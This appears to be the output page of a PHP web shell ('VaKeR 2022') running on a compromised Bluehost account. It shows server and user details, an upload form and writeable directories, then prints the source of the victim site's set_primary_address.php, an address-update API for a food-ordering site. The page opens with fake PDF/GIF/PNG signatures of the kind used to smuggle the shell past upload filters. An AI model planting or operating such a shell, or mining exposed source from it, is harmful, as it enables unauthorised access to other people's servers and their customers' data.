%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/set_primary_address.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status"  => $status,
        "message" => $message,
        "data"    => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$address_id = intval(
    $_REQUEST['address_id']
    ?? $json['address_id']
    ?? 0
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if ($address_id <= 0)
{
    response(false, "Required Fields Missing", [

        "required_fields" => [
            "address_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/set_primary_address.php?address_id=5",

        "sample_request" => [
            "address_id" => 5
        ],

        "postman_form_data" => [
            [
                "key"   => "address_id",
                "value" => "5"
            ]
        ],

        "raw_json_example" => [
            "address_id" => 5
        ],

        "received_data" => [
            "request" => $_REQUEST,
            "json"    => $json
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Address Check
|--------------------------------------------------------------------------
*/

$checkAddress = mysqli_query(
    $conn,
    "SELECT id
     FROM user_address
     WHERE id='$address_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if(mysqli_num_rows($checkAddress) == 0)
{
    response(false, "Address Not Found");
}

/*
|--------------------------------------------------------------------------
| Remove Old Primary Address
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE user_address
     SET is_primary='0'
     WHERE user_id='$user_id'"
);

/*
|--------------------------------------------------------------------------
| Set New Primary Address
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE user_address
     SET is_primary='1'
     WHERE id='$address_id'
     AND user_id='$user_id'"
);

/*
|--------------------------------------------------------------------------
| Fetch Updated Address
|--------------------------------------------------------------------------
*/

$addressQry = mysqli_query(
    $conn,
    "SELECT *
     FROM user_address
     WHERE id='$address_id'
     LIMIT 1"
);

$address = mysqli_fetch_assoc($addressQry);

response(true, "Primary Address Updated Successfully", [

    "address_id" =>
        (int)$address['id'],

    "full_name" =>
        $address['full_name'] ?? '',

    "flat_house" =>
        $address['flat_house'] ?? '',

    "street_name" =>
        $address['street_name'] ?? '',

    "address" =>
        $address['address'] ?? '',

    "is_primary" => 1
]);

?>

VaKeR 2022